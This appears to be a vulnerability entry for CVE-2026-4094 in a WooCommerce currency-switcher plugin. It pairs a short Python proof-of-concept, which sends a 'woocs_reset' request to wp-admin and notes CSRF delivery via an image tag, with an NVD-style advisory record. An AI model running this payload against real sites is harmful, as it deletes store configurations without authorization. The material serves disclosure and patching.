CVE-2026-4094

import requests # Target URL of the WordPress admin area target_url = "http://target-site.com/wp-admin/" # Payload parameter to trigger the vulnerability # The 'woocs_reset' parameter triggers the deletion of the currency configuration params = { "woocs_reset": "1" } # If testing authentication (Contributor level or higher) cookies = { "wordpress_logged_in_*": "session_cookie_here" } # Send the GET request # As a CSRF attack, this would be embedded in an <img> tag or similar for an admin response = requests.get(target_url, params=params, cookies=cookies) if response.status_code == 200: print("Request sent successfully. Configuration likely reset.")

{"cve": {"id": "CVE-2026-4094", "sourceIdentifier": "[email protected]", "published": "2026-05-15T07:16:20.090", "lastModified": "2026-05-15T14:09:15.910", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FOX – Currency Switcher Professional for WooCommerce plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check on the 'admin_head' function in all versions up to, and including, 1.4.5. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete the entire multi-currency configuration by visiting any wp-admin page with the `woocs_reset` parameter appended. Additionally, because no nonce is verified, this is also exploitable via Cross-Site Request Forgery against any administrator. The vulnerability may also be exploited by Subscriber-level users if the site is configured to allow Subscriber access to 'wp-admin' pages."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woocommerce-currency-switcher/trunk/classes/woocs.php#L1167", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-currency-switcher/trunk/classes/woocs.php#L1168", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3483839/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6eb9d68c-c081-484e-ad5d-5eabcfa6d6f0?source=cve", "source": "[email protected]"}]}}